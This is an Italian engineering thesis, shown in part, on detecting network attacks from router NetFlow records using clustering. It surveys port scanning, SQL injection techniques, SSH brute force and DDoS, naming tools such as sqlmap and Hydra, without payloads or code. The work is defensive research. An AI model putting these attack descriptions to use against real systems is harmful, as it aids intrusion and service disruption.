Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report

Alma Mater Studiorum · Universita diBologna

SECONDA FACOLTA DI INGEGNERIA CON SEDE A CESENA

Corso di Laurea in Ingegneria Informatica

RILEVAZIONE DI ATTACCHIDI RETE TRAMITE PROTOCOLLI

DI MONITORAGGIO PERROUTER IP

Elaborato in Laboratorio diReti di Telecomunicazioni

Relatore: Correlatore: Presentato da:Walter Cerroni Marco Ramilli Luca Mella

Sessione SecondaA.A. 2010/2011

Dedicato amia Madre

Introduzione

Le tematiche relative alla sicurezza dei sistemi informatici hanno, negliultimi decenni, sempre piu preso piede all’interno del mainstream.Si puo dire, in altre parole, che l’enfasi sulla sicurezza di reti e sistemi haavuto un andamento proporzionale alla quantita e qualita delle informazionirese fruibili attraverso internet, quindi, dando uno sguardo al mondo odierno,ci si puo render conto di quanto queste tematiche siano importanti. Bastapensare a quante volte si sia sentito utilizzare il termine societa dell’infor-mazione, il che lascia ben intendere la sempre piu forte interconnessione tramondo reale e quello virtuale composto da nodi, end-point, servizi e appli-cazioni.Proprio questa forte interconnessione. evolutasi nel tempo, ha svolto il ruolodi motore per lo sviluppo di nuove idee e metodologie per la rilevazione diminacce alla sicurezza di dati o servizi in rete. Infatti, negli anni, si e cercatodi definire cosa e un sistema di rilevamento intrusioni (IDS), di categorizzaretali sistemi, di realizzare e validare nuovi approcci piu efficienti ed efficacidei precedenti, ma nonostante cio diverse questioni rimangono ancora oggiaperte in attesa di nuove metodologie. Quello che si cerchera di fare in questoelaborato e proprio proporre nuovi concetti e metodologie finalizzate a rile-vare piu efficientemente le minacce in rete.Prima di ogni novita, occorre delineare bene il contesto in cui ci si sta muoven-do, in modo da meglio collocare il lavoro proposto nell’elaborato all’internodi tematiche e soluzioni proposte in precedenza.Percio, nei capitoli seguenti, saranno prima discussi brevemente vari temi tracui gli attacchi e minacce tipiche della rete, i differenti approcci per il rile-vamento di intrusioni di rete, le tecniche utilizzate per estrarre informazionidai dati, il protocollo di rete NetFlow, ed infine verra presentata una nuo-va metodologia per il rilevamento di attacchi basata appunto sul protocolloNetFlow e sull’analisi di variabili estratte dai flussi di rete tramite algoritmidi data mining, con un approccio similare a quello adottato con successo inprecedenti soluzioni - eg. NIDS SNMP-Based.

i

Indice

Introduzione i

1 Attacchi Di Rete 11.1 Attacchi Di Rete Comuni . . . . . . . . . . . . . . . . . . . . . 1

1.1.1 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . 21.1.2 SQL-Injection . . . . . . . . . . . . . . . . . . . . . . . 31.1.3 Login Brute-Force . . . . . . . . . . . . . . . . . . . . . 41.1.4 Deny (or Degradation) of Service . . . . . . . . . . . . 5

2 Network Intrusion Detection System - NIDS 72.1 Anomaly-based NIDS . . . . . . . . . . . . . . . . . . . . . . . 82.2 SNMP-based NIDS . . . . . . . . . . . . . . . . . . . . . . . . 82.3 NetFlow-based NIDS . . . . . . . . . . . . . . . . . . . . . . . 10

3 NetFlow 113.1 Infrastruttura NetFlow . . . . . . . . . . . . . . . . . . . . . . 113.2 Versione 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123.3 NFDump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

4 Data Mining 174.1 Algoritmi Non Supervisionati . . . . . . . . . . . . . . . . . . 174.2 Data Clustering . . . . . . . . . . . . . . . . . . . . . . . . . . 18

4.2.1 Algoritmi gerarchici . . . . . . . . . . . . . . . . . . . . 184.2.2 Algoritmi Density-based . . . . . . . . . . . . . . . . . 194.2.3 Algoritmi Partitivi . . . . . . . . . . . . . . . . . . . . 19

4.3 K-means . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

5 Framework Proposto 215.1 Scenario Applicativo . . . . . . . . . . . . . . . . . . . . . . . 215.2 Metodologia . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225.3 Test-bed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25

iii

iv INDICE

5.4 Sessioni e Risultati . . . . . . . . . . . . . . . . . . . . . . . . 265.4.1 Traffico Neutro . . . . . . . . . . . . . . . . . . . . . . 285.4.2 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . 295.4.3 SSH Brute Force (SBF) . . . . . . . . . . . . . . . . . 305.4.4 DDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . 315.4.5 SQL-Injection . . . . . . . . . . . . . . . . . . . . . . . 325.4.6 Traffico Realistico . . . . . . . . . . . . . . . . . . . . . 33

5.5 Analisi Dei Dati . . . . . . . . . . . . . . . . . . . . . . . . . . 355.5.1 Prestazioni . . . . . . . . . . . . . . . . . . . . . . . . 37

Conclusioni 39

A Configurazioni 41A.1 Router Cisco . . . . . . . . . . . . . . . . . . . . . . . . . . . 41A.2 Collector . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42

B Script Sessioni 45B.1 Port Scanning . . . . . . . . . . . . . . . . . . . . . . . . . . . 45B.2 SBF . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46B.3 SQL-I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46B.4 DDoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47B.5 Traffico Realistico . . . . . . . . . . . . . . . . . . . . . . . . . 48

C Script Processamento Dati 51

Bibliografia 55

Elenco delle figure

3.1 Architettura logica di un infrastruttura NetFlow . . . . . . . . 123.2 Rappresentazione del funzionamento della cache NetFlow . . . 133.3 Esempio di report generato con nfdump . . . . . . . . . . . . . 15

5.1 Scenario applicativo di riferimento per NIDS basati su NetFlow 225.2 Attivita per la fase sperimentale . . . . . . . . . . . . . . . . . 245.3 Topologia del testbed . . . . . . . . . . . . . . . . . . . . . . . 265.4 Campione di flussi sessione Traffico Naturale . . . . . . . . . . 285.5 Campione di flussi sessione Port Scanning . . . . . . . . . . . 295.6 Campione di flussi sessione SBF . . . . . . . . . . . . . . . . . 305.7 Campione di flussi sessione DDoS . . . . . . . . . . . . . . . . 315.8 Campione di flussi sessione SQL-I . . . . . . . . . . . . . . . . 325.9 Port Scanning (Xmas scan) con traffico realistico . . . . . . . 335.10 SBF con traffico realistico . . . . . . . . . . . . . . . . . . . . 345.11 SQL-I con traffico realistico . . . . . . . . . . . . . . . . . . . 345.12 DDoS con traffico realistico . . . . . . . . . . . . . . . . . . . 35

v

Elenco delle tabelle

2.1 Variabili artificiali significative estratte da interrogazioni SNMP 9

5.1 Statistiche generali sui flussi collezionati . . . . . . . . . . . . 275.2 Statistiche del sistema . . . . . . . . . . . . . . . . . . . . . . 365.3 Variabili artificiali significative estratte da record NetFlow . . 375.4 Risultati Benchmark per calcolo nuove tuple . . . . . . . . . . 38

vii

Capitolo 1

Attacchi Di Rete

Prima di discutere delle metodologie di rilevamento degli attacchi di reteoccorre effettuare una panoramica sulla stato attuale delle tecniche di attac-co piu diffuse in rete. Infatti, l’elevato grado di sviluppo dell’automazione divarie tecniche ha sı permesso agli esperti del settore di velocizzare le proce-dure di assessment, ma ha anche dato la possibilita ad utenti malevoli, piu omeno esperti, di incrementare notevolmente le loro probabilita di successo edi conseguenza la loro pericolosita. Inoltre, l’utilizzo di internet da parte dellastragrande maggioranza delle organizzazioni ha portato ad una rapida prolif-erazione di servizi in rete lungo l’ultimo decennio; molto spesso pero questaespansione non e stata effettuata con coscienza e conoscenza delle possibiliminacce alle quali si espone la propria organizzazione. Dunque, lo scenarioche si e profilato negli ultimi anni e quello di una internet con un’enorme su-perficie di attacco ed una buona disponibilita di tools per testare e sfruttarele piu disparate vulnerabilita.

1.1 Attacchi Di Rete Comuni

Scendendo nel dettaglio, verranno qui presentate brevemente alcune tipolo-gie di attacco ben note in letteratura ed i relativi tool che le implemen-tano. Tale elenco verra preso in considerazione durante la trattazione dellafase sperimentale, nella quale si e adottato un approccio emulativo, per cuirisulta importante porre enfasi sugli attacchi attualmente piu presenti nelmainstream.

1

2 1. Attacchi Di Rete

1.1.1 Port Scanning

Rientra tipicamente nella fase preliminare di un attacco, infatti all’internodi questa tipologia risiedono numerose tecniche differenti atte a recuperareinformazioni su servizi ed host raggiungibili in rete. Infatti forgiando pac-chetti e segmenti ad hoc e possibile forzare gli end-point di rete a particolaricomportamenti, che possono rilevare la presenza di servizi in ascolto.Tra le varie tecniche di scanning presenti in letteratura sono di rilevanteimportanza per l’elaborato le seguenti:

• TCP SYN Scan, tecnica estremamente popolare anche grazie alla ra-pidita con cui si possono effettuare scansioni. Consiste sostanzialmentenell’invio di PDU TCP con SYN flag attivo e nell’interpretazione dellarisposta ricevuta dal target, ovvero in caso di PDU di risposta con flagSYN-ACK si evince che alla porta sondata e attivo un servizio, in casodi risposta con flag Reset (RST) si deduce che non vi e servizio alladata porta destinazione, mentre in caso di non risposta si presume cheil traffico diretto a tale porta del target sia filtrato da un firewall.

• UDP Scan, questa tecnica invece si prefigge l’obiettivo di individuareservizi basati su protocollo UDP. Essa si basa sull’invio di vari pacchet-ti UDP, di contenuto casuale e non, verso un grande numero di portedell’host target. A differenza del SYN Scan questa tecnica offre menoinformazioni in output, infatti viene considerata aperta una porta so-lo se viene ricevuta una pdu di risposta, altrimenti viene consideratachiusa o filtrata, a meno che non si ricevano pacchetti ICMP esplicitidi tipo port unreachable.

• Xmas Scan, questa tecnica utilizza PDU TCP questa volta con piuflag settati (FIN-PSH-URG), si basa anch’essa - come le precedentitecniche basate su TCP - sulla ricezione di risposte con flag RST, intal caso infatti le porte destinazione della sonda vengono registratecome chiuse. Differente e l’interpretazione della non risposta, in questocaso la porta target e considerata come aperta oppure filtrata. Seinvece viene ricevuto un pacchetto ICMP port unreachable tale porta emarcata come filtrata.

• TCP ACK Scan, quest’ultima metodologia di scanning risulta menoprecisa rispetto alle precedenti, in quanto ha dei limiti interpretatividelle risposte. Nella fattispecie la PDU TCP sonda e caratterizzatadalla presenza del flag ACK settato e la determinazione dello statodella porta sondata si basa solo su risposta ricevuta o non ricevuta. In

1.1 Attacchi Di Rete Comuni 3

dettagli in caso di risposta con flag RST si considera la porta apertaoppure chiusa, mentre in caso di non risposta la si registra come filtrata.

Tool di riferimento nmap[13]1.

1.1.2 SQL-Injection

Una delle tipologie di attacchi piu efficace, affligge direttamente i datidell’organizzazione bersaglio, infatti tramite le falle delle applicazioni2 nellagestione degli input utente, e possibile recuperare i dati presenti nel DBMSin backend, generando quindi una pericolosa perdita di controllo delle infor-mazioni. In breve tempo, questa tipologia di attacco, e divenuta una dellemaggiori piaghe della societa dell’informazione, anche grazie a quanto la su-perficie d’attacco sia estesa[18].Piu dettagliatamente questi attacchi si basano su tecniche che sfruttano lapossibilita di inserire statement SQL arbitrari all’interno delle query utiliz-zate nell’applicazione target. Varie tecniche sono state affinate nel tempoin maniera da riuscir a portar a termine l’attacco in contesti piu o menovincolati:

• Boolean-based blind SQL-I, tradizionale tecnica basata sulla compara-zione delle risposte dell’applicazione in funzione della verita o falsitadello statement iniettato. Essa e utilizzabile nei casi in cui a segui-to dell’iniezione non siano riscontrabili output apprezzabili se non ladifferenza tra le risposte dell’applicazione. In altre parole lo statementiniettato e una funzione booleana - piu o meno complicata - che se risul-ta essere vera provoca la generazione di una certa risposta da partedell’applicazione, mentre see risulta essere falsa ne provoca un’altra,differente dalla precedente. Tramite la distinzione di queste risposte epossibile, ad esempio, scandire carattere per carattere ogni record pre-sente nelle tabelle del DBMS di backend ed individuarne il contenutopreciso.

• Time-based blind SQL-I, tecnica utilizzata in caso di completa mancan-za di differenza nelle risposte dell’applicazione. La chiave di volta diquesto approccio sono gli statement SQL atti far eseguire computazionialla macchina (eg. BENCHMARK(,) di MySQL ), in modo da ritar-darne la risposta di un tempo arbitrario. Le query iniettate vengono

1Tra le tecniche implementate ne sono presenti varie che se utilizzate coscentementepermettono il bypassing di Firewall ed IDS[14]

2L’elaborato porra enfasi su vulnerabilita presenti su applicativi web, cio non toglie chealtre tipologie di servizio possano soffrire di questa particolare falla.


preparate in maniera tale per cui se a seguito dell’esecuzione dello state-ment malevolo si ha condizione di verita verra eseguito anche il coman-do per ritardare la risposta del sistema. Da tale ritardo l’attaccanteriuscira a capire se lo statement iniettato e stato valutato come vero ofalso, aprendo uno scenario simile a quello descritto per Boolean-basedSQL-I.

• Error-based SQL-I, tecnica utilizzabile solo nel caso in cui le descrizionidegli errori del dbms vengano riportati in output anche dalle appli-cazioni stesse. In tal caso risulta possibile iniettare query apposita-mente errate sintatticamente - o semanticamente - per poi apprendereinformazioni sulla struttura interna del database proprio in virtu delmessaggio di errore ricevuto. Ad esempio e con tale tecnica e possi-bile recuperare informazioni riguardanti nomi di campi, di tabelle e diutenti presenti all’interno dei database gestiti dal DBMS in backend.

• UNION query SQL-I, tecnica basata sulla preparazione di particolaripayload malevoli atti ad unire i risultati di query SQL arbitrarie a quel-li recuperati dalle query originariamente definite all’interno dell’appli-cazione. Gli statement SQL chiave usati per questo genere di attacchisono appunto quelli di unione - eg. UNION ALL. Tali tipologie di attac-co risultano pero utilizzabili solo nel caso in cui i dati estratti tramitela query vulnerabile vengano presentati in output dall’applicazione.

Tool di riferimento sqlmap[15].

1.1.3 Login Brute-Force

Classica, grezza ma potenzialmente molto pericolosa tipologia di tecnichedi attacco, tipicamente attuate dopo una fase di enumerazione dei servizi direte raggiungibili. Di base si tratta solo di tentativi di accesso perpetrati neltempo con le piu disparate credenziali3, ma con un’analisi piu approfonditadelle caratteristiche tipiche degli account, questa tecnica diviene molto piupericolosa di quanto non sembri.Studi effettuati su credenziali reali pubblicate a seguito di attacchi infor-matici di larga scala, ci fanno notare che solo meno dell’1% delle passwordscoperte sono composte da stringhe pseudocasuali[19]. Cio significa che conl’ausilio di wordlist ben fornite, o ancora meglio generate ad hoc[20] a seguitodi alcune indagini (prassi comune nel social engineering), si hanno discrete

3La sessione sperimentale si focalizzera su una particolare istanza di questa tipologiadi attacco, ovvero SSH Brute Force (SBF)

1.1 Attacchi Di Rete Comuni 5

possibilita di trovare le credenziali corrette.Potenziali vittime di questa tipologia di attacco sono tutti i servizi raggiun-gibili da un ipotetico attaccante (insider o outsider) ma in pratica i servizitipicamente piu attaccati sono SSH, demoni DBMS (eg.MySQL), HTTP,FTP.Tool di riferimento Hydra[16], Ncrack[17].

1.1.4 Deny (or Degradation) of Service

Si tratta di una grande varieta di tipologie di attacchi - di rete e non - conlo scopo di rendere inusufruibili determinati servizi servizi. Nell’elaborato siporra enfasi sulle particolari tecniche e strategie adottate per condurre questogenere di attacchi attraverso reti geografiche.Alcune delle principali tecniche utilizzate per questi attacchi possono essere:

• UDP-FLOODING, basato sull’invio di grandissime quantita di PDUUDP a varie porte della macchina target, la quale dovra controllare seci sono applicazioni in ascolto sulle porte a cui sono destinati i mes-saggi ed in seguito generare ed inviare pacchetti ICMP port unreach-able, sprecando cosı tempo e risorse originariamente destinate ad altreattivita.

• SYN-FLOODING, che si basa sull’inondamento della macchina targetcon PDU TCP con flag SYN attivo, in modo da costringere l’host adallocare risorse - eg. buffer di trasmissione e ricezione - per ognuna dellerichieste di connessione fino all’esaurimento delle capacita della macchi-na. Tali risorse infatti restano allocate per tutto il tempo in cui l’hosteffettua le ritrasmissioni delle PDU TCP con flag SYN-ACK4 attivo,per cui se le richieste di connessione hanno cadenze particolarmenteelevate c’e il serio rischio di esaurimento delle risorse della macchinatarget.

• Botnet-Based DDoS, questa branca ti attacchi invece si basa sull’utiliz-zo di grandi insiemi di host compromessi, nei quali e in esecuzione soft-ware malevolo pronto a ricevere comandi ed istruzioni dall’attaccante(master). Tali software sono spesso installati sulle macchine tramitel’utilizzo di Trojan i quali, anche grazie alla non curanza degli utentidel web alle piu basilari precauzioni, permettono al software malevolo

4Salvo configurazioni specifiche, le ritrasmissioni vengono effettuate tipicamente ogni3, 6, 12, 24 e 48 secondi in caso di mancata conclusione del 3-Way-Handshake da partedel client


(bot) di infettare la macchina.Gli attacchi sferrati tramite Botnet sono spesso difficili da bloccare inquanto simili a un picchi (o creste) di richieste utente, questo proprio invirtu del fatto che effettivamente si tratta richieste di servizio reali, an-che se non desiderate dall’utente. Questa tipologia di attacco sara poiquella scelta come riferimento per la fase sperimentale, infatti attacchisimili a quelli appena descritti possono essere realizzati con script adhoc o con tool reperibili in rete - eg. LOIC[21].

Da notare che l’obbiettivo di queste tipologie di tecniche puo non esserestrettamente il blocco del servizio, ma piu generalmente il degrado delleprestazioni[22] dello stesso.

Capitolo 2

Network Intrusion DetectionSystem - NIDS

La continua evoluzione delle minacce ai sistemi informatici ha avuto, edha, un ruolo fondamentale nei processi di creazione e miglioramento di siste-mi atti a rilevare attacchi ed a limitarne sia possibili danni ad infrastrutturesoftware che ne, soprattutto, accessi abusivi ad informazioni riservate.Negli ultimi decenni, questa spinta ha portato sia la comunita accademicache ne esperti provenienti dal mondo aziendale a numerose discussioni, variepubblicazioni ed a diversi approcci alla rilevazione delle intrusioni. Quindi,prima di mostrare l’approccio proposto risulta importante illustrare la situ-azione attuale.In questo capitolo, per l’appunto, si cerchera di presentare uno scenario,schematico, sintetico quanto piu possibile chiaro relativo agli approcci edalle metodologie che possono essere caratterizzanti per un sistema di rileva-mento intrusioni, cosı da mettere in luce il contesto in cui viene presentatol’approccio proposto dall’elaborato ed il relativo posizionamento all’internodi esso.Si possono individuare 2 differenti approcci logici alla rilevazione delle intru-sioni:

• Knowledge-based [3, cap.3.1], basato sulla conoscenza pre-acquisita sugliattacchi, questo approccio e tipicamente utilizzato nei NIDS commer-ciali, ove l’obiettivo e riconoscere particolari pattern - o signature -all’interno del traffico analizzato.

• Behaviour-based [4], basato modelli di comportamento benevolo e sul-la capacita del sistema di percepire deviazioni del comportamento deltraffico in rete rispetto a tali modelli.

7

8 2. Network Intrusion Detection System - NIDS

Un’ulteriore differenziazione puo essere individuata nelle modalita con cui ilNIDS prende coscienza di cio che accade nell’ambiente:

• Packet-based, basata sull’utilizzo di sniffer, o piu in generale di sonde,per il campionamento del traffico di rete in punti strategici.

• Host-based [3, cap.3.3], basata sull’utilizzo di host - o anche di nodi direte - come sorgenti d’informazione.

In seguito verranno descritte le caratteristiche di alcuni NIDS che risultanosignificativi per l’approcio che verra presentato nell’elaborato.

2.1 Anomaly-based NIDS

L’assunzione implicita di questa tipologia di NIDS e che il traffico malevo-lo di rete sia una sorta di deviazione rispetto al normale[4, cap.4]. Per questacategoria di NIDS perco risulta particolarmente importante avere un modellocomportamentale benevolo/normale a disposizione per poter misurare in se-guito il livello di anomalia che presenta il traffico reale. Tipicamente, questimodelli vengono estratti da campioni di traffico reale con l’ausilio di tec-niche di data mining : tali tecniche infatti risultano spesso ideali per via dellaproibitivita della mole di dati da processare e della mancanza di conoscenzaa priori delle caratteristiche da ricercare.Alcune criticita sono state pero rilevate in questa tipologia di NIDS[3, cap.3.1.2]:ad esempio e stata dimostrata la necessita di rigenerazione periodica dei mod-elli comportamentali normali. Infatti, siccome il comportamento del trafficobenevolo e correlato alla tipologia di operazioni effettuate in rete, la nozionedi normalita puo variare nel tempo e di conseguenza dare origine a successionidi falsi positivi.

2.2 SNMP-based NIDS

Altre soluzioni che sono state oggetto di studi sono invece basate su ap-procci ibridi, ad esempio sono stati presentati articoli[5, 6] che propongonointeressanti metodologie, dove vengono miscelati approcci basati su logichebehaviour-based e knowledge-based, con hosts come sorgenti di dati per laraccolta delle informazioni.Tali metodologie fanno largo uso di tecniche di data mining [5, cap.2] di tiponon supervisionato1, con le quali e possibile estrarre sia modelli comporta-mentali benevoli che ne malevoli. Questo approcio si presenta interessante

1in particolare tecniche di clustering partitive, eg.k-means.

2.2 SNMP-based NIDS 9

soprattutto nei casi in cui lo sniffing e l’analisi del traffico di rete si rivelanoun collo di bottiglia per via degli enormi flussi informativi che diverse realtapossono presentare[5, cap.1]; infatti le informazioni messe a disposizione daSNMP si rivelano particolarmente efficaci ai fini della rilevazione di attacchi,enormemente meno voluminose e quindi piu efficienti.Piu dettaglio le sperimentazioni effettuate in [6, 7] su questa tipologia diNIDS si sono articolate come segue: prima e stato individuato un insiemeristretto di variabili significative deducibili dai dati disponibili tramite inter-rogazioni SNMP (Tabella 2.2), poi si sono calcolate tali variabili durante piusessioni sperimentali ed infine si e processato il tutto con algoritmi per il datamining. A seguito delle elaborazioni si sono poi ottenuti valori caratteristicidelle variabili per ogni tipologia di attacco emulata sperimentalmente ed, inseguito, si e proceduto a sessioni di testing con traffico realistico per verificarel’effettiva affidabilita dei risultati trovati.I risultati ottenuti dagli studi su questa nuova metodologia presentano unadiminuzione apprezzabilmente del numero di falsi positivi ed una notevoleefficacia nella distinzione di attacchi[5, cap.4.1], infatti dalle verifiche effet-tuate risulta che l’affidabilita nella distinzione tra traffico malevolo e neutralesia di oltre il 99%.Tale tipologia di NIDS e stata presa come modello di riferimento per losviluppo del framework proposto.

Numero di connessioni TCP aperte (qualsiasi stato)Numero di connessioni TCP in time-waitNumero di connessioni TCP in estabilishedNumero di connessioni TCP in syn-receivedNumero di connessioni TCP in fin-waitNumero di IP remoti con connessione TCP apertaIndirizzo IP remoto con il piu alto numero di connessioni TCPIndirizzo IP remoto con il secondo maggior numero di connessioni TCPIndirizzo IP remoto con il terzo numero di connessioni TCPPorta locale TCP con il piu alto numero di connessioniNumero di connessioni alla porta TCP con il piu alto numero di connessioniPorta locale TCP con il secondo maggior numero di connessioniNumero di segmenti TCP RST inviati

Tabella 2.1: Variabili artificiali significative estratte da interrogazioni SNMP

10 2. Network Intrusion Detection System - NIDS

2.3 NetFlow-based NIDS

In alcuni articoli sono stati presentati studi[1] e framework[2] dove sonooggetto di discussione i possibili utizzi di protocolli NetFlow2-like all’internodi sistemi per il rilevamonto delle intrusioni di rete. Questa nuova tipologia diNIDS, infatti, non identifica piu come sorgente di informazione ne pacchettine end-point, ma bensı gli intermediate system (IS), come ad esempio routerip, switch ed hub.I risultati pubblicati sugli studi di NIDS basati su NetFlow dimostrano chedalle informazioni raccolte sui flussi e possibile rilevare dagli attacchi di retepiu comuni all’attivita di worm presenti in macchine infette. Nella fattispeciesono stati utilizzate piu metodologie per effettuare tali rilevazioni:

• in [1] i flussi collezionati vengono sottoposti ad un procedimento in stileanalisi forense, dove si effettuano valutazioni sulla base della conoscen-za del comportamento della minaccia. Ad esempio viene mostrato comesia possibile individuare attacchi DoS e DDoS osservando le corre-lazioni temporali tra i vari flussi, o come determinare la presenza diworm sulla base di flussi diretti a porte note[1, cap.4]. Tali sperimen-tazioni delineando delineano quindi un approccio piu Knowledge-basedal rilevamento delle intrusioni.

• in [2] viene invece proposto un framework che interpreta i dati raccoltiattraverso i flussi e li presenta graficamente a video. In dettaglio, vienepreparata un immagine nella quale ogni pixel rappresenta un partico-lare indirizzo ip - pixel vicini corrispondono ad ip vicini - ed associatoad ognuno di essi una sfumatura di colore calcolata in base al trafficogenerato dal nodo[2, cap.4.2] - ad esempio nero significa niente traffico.Tale approccio[2, cap.5.1], unito alle statistiche ricavate dai flussi suporte e indirizzi[2, cap.5.2], ha permesso di individuare agevolmentela presenza di worm all’interno delle reti monitorate notando attivitaanomale e riconoscendo pattern comportamentali noti del malware inazione.

Nel framework che verra proposto si tendera invece a preferire un’approc-cio ibrido basato sull’estrazione di variabili significative e soglie caratteris-tiche dalle informazioni sui flussi di rete recuperate tramite NetFlow.

2NetFlow e un protocollo sviluppato da Cisco per il monitoring dei flussi di rete. Vedicapitoli seguenti.

Capitolo 3

NetFlow

NetFlow non e semplicemente un protocollo di rete, ma bensı una tec-nologia sviluppata da Cisco per il monitoring del traffico di rete che, a suavolta, fa uso di un protocollo di comunicazione ad hoc per esportare le infor-mazioni raccolte.Questo particolare servizio di monitoring si basa sul concetto di flusso di rete(network flow, appunto), che viene definita come una 7-pla[12]:

• Source IP, indirizzo ip sorgente.

• Destination IP, indirizzo ip destinazione.

• Source Port, TSEL sorgente (UDP/TCP), 0 se non supportato.

• Destination Port, TSEL destinazione (UDP/TCP), 0 se non supporta-to.

• Layer 3 Protocol, protocollo di rete.

• Class of Service, Indicatore di tipologia di servizio utilizzato per lagestione ottimale dei flussi in rete, ne esistono diverse implementazioni,eg. ToS byte (DSCP) nell’header IPv4[12].

• Interface, interfaccia d’ingresso dell’IS.

3.1 Infrastruttura NetFlow

L’architettura logica di un’infrastruttura NetFlow[10, cap.2] si basa supochi semplici elementi e risulta percio di agevole comprensione e deploy-ment:

11

12 3. NetFlow

Figura 3.1: Architettura logica di un infrastruttura NetFlow

• NetFlow Record, contenente informazioni riguardo ad un particolareflusso.

• NetFlow Cache, cache sull’IS dove vengono mantenuti i NetFlow Record1.Vedi fig:3.1.

• NetFlow Exporter, servizio che invia - come Export Packet - i recordpresenti in cache ad una o piu destinazioni.

• NetFlow Collector, end-point destinazione delle PDU NetFlow (ExportPacket).

3.2 Versione 9

La versione del protocollo NetFlow di riferimento per l’elaborato e la 9,che dal 2009 gode di ampia diffusione all’interno dei dispositivi di rete Cisco.Questa versione differisce notevolmente dalle precedenti in quanto il proto-collo e stato reso estendibile e configurabile, infatti sono stati abbandonati

1Il comportamento della cache e configurabile in base a tempo di validita dei record ecomportamento dopo l’esportazione dei record

3.3 NFDump 13

Figura 3.2: Rappresentazione del funzionamento della cache NetFlow

i campi statici che caratterizzavano le versioni precedenti, ed adottata unalogica TLV (Tag Length Value)[11] per la descrizione dei dati trasmessi. Conquesta versione realizzata una notevole flessibilita del protocollo, il quale puotrasportare solo i dati necessari e, soprattutto, puo essere riutilizzato in casodi aggiunta di nuove tipologie di informazioni sui flussi. Nel dettaglio, laPDU NetFlow v9 viene separata in vari segmenti logici[10]:

+--------+--------------------------------------------------------+

| Packet | | Template | | Data | | Options | | Data | |

| Header | | FlowSet | | FlowSet | ... | Template | | FlowSet | |

+--------+--------------------------------------------------------+

Dove nel segmento Template FlowSet viene descritto il formato dei dati pre-senti in Data FlowSet, in particolare e presente una entry tipologia/lunghezza(TL) per ogni campo nel segmento dati, dove invece sara solo presente unalista di valori (V).Ovviamente non e stato riportato tutto il formato delle PDU NetFlow inquanto non rilevanti ai fini dell’elaborato. Tale versione di NetFlow meritavapero una sintetica panoramica in quanto risulta essere un protocollo maturo,avendo raggiunto un buon livello di stabilita e flessibilita comparabile a quellidei piu celebri protocolli di monitoraggio (e gestione) di rete - eg. SNMP.

3.3 NFDump

Esistono vari tool per interagire con dispositivi NetFlow-enabled, tra itanti spicca per per flessibilita e semplicita d’uso NFDUMP[23], che appunto

14 3. NetFlow

e stato scelto come riferimento per l’elaborato.Piu che ne un singolo tool si tratta di una suite completa dalla cattura deiflussi sin alle prime, piu basilari, elaborazioni per la presentazione di report.Infatti al suo interno sono disponibili i seguenti software:

• nfcapd, e il demone di cattura, si pone in ascolto su una data porta esalva su file ogni PDU NetFlow che gli giunge. Ha alcune funzionalitaavanzate che possono risultare molto utili in fase sperimentale come adesempio la rotazione automatica dei file ogni n minuti e la possibilitadi lanciare comandi in automatico ogni volta che cio accade.

• nfdump, e il tool per le prime elaborazioni sulle catture, elabora i filecontenti le PDU NetFlow e permette di sfruttare diversi formati di rap-presentazioni dei flussi (eg.csv). Inoltre rende possibile un primo stagedi processamento rendendo possibile il raggruppamento dei flussi sec-ondo campi arbitrari, ovvero permette di aggregare secondo n-ple nonstandard. Apprezzabile anche il supporto alle statistiche, alcune dellequali calcolate automaticamente ad ogni elaborazione. Nella fattispeciesi puo disporre informazioni su totale flussi, totale byte transitati, totalepacchetti, e varie medie relative al periodo.

• nfprofile, e sostanzialmente un filtro per PDU NetFlow, infatti permettedi raffinare i dati catturati da nfcapd secondo pattern arbitrari.

• nfreplay, sostanzialmente un relay per PDU NetFlow, una volta config-urato legge i file catturati da nfcapd e gli inoltra ad un’altro host. Puorisultare interessante per accentrare i dati in scenari distribuiti.

• nfclean.pl, semplice script per eliminare i dati delle vecchie catture.

• ft2nfdump, permette di importare dati dalla suite flow-tools

Per render piu chiare le modalita di utilizzo ed i dati forniti verra mostratauna semplice configurazione di base seguita da un esempio di utilizzo.Nel dettaglio, per lanciare il demone nfcapd in ascolto sulla porta 9996, sututte le interfaccie, con cartella per il salvataggio delle catture la directory“./folder” e periodo di rotazione file 2 minuti:

nfcapd -p 9996 -t 120 -l ./folder

In seguito possiamo visualizzare i flussi raccolti attraverso nfdump, in par-ticolare vogliamo visualizzare tutti i record NetFlow catturati in modalitatestuale estesa:

3.3 NFDump 15

Figura 3.3: Esempio di report generato con nfdump

nfdump -r ./folder/* -o long

Dopo di che viene generato il report in Figura 3.3 dove sono disponibilinumerose informazioni riguardante i flussi, tra cui il numero di pacchettitransitati, i byte totali del flusso, l’esatto istante in cui il dispositivo hacreato il flusso, la sua durata, i flag delle PDU TCP notati nei segmenti intransito ed alcune statistiche sulla globali.

16 3. NetFlow

Durante la configurazione del test-bed sono stati utilizzati sia nfdumpche ne nfcapd con particolari configurazioni in modo da ottenere sia reportglobali delle sessioni, sia report minuto per minuto.

Capitolo 4

Data Mining

Come anticipato precedentemente, nell’elaborato si propone di utilizzaretecniche di data mining per estrarre modelli predittivi da dati collezionatidagli intermediate systems; percio risulta particolarmente utile presentarealcuni concetti e tassonomie di base atte a meglio collocare il framework pre-sentato dall’elaborato.Gli algoritmi di data mining si possono caratterizzare in due principali tipologie[8,node34]:

• Algoritmi supervisionati, i quali inferiscono una funzione di previsioneda set di dati supervisionati, ovvero selezionati per la loro rappresenta-tivita del caso reale. Tali algoritmi hanno quindi necessita di una fasedi addestramento preliminare.

• Algoritmi non supervisionati, che tentano di trovare strutture predittiveo pattern nascosti su dati non etichettati, ovvero non supervisionati.

Tra queste tipologie risulta molto utile agli scopi preposti dell’elaboratola branca degli algoritmi non supervisionati, che si rivelano utili ad estrarrepattern dalla mole di dati raccolta durante la fase sperimentale.

4.1 Algoritmi Non Supervisionati

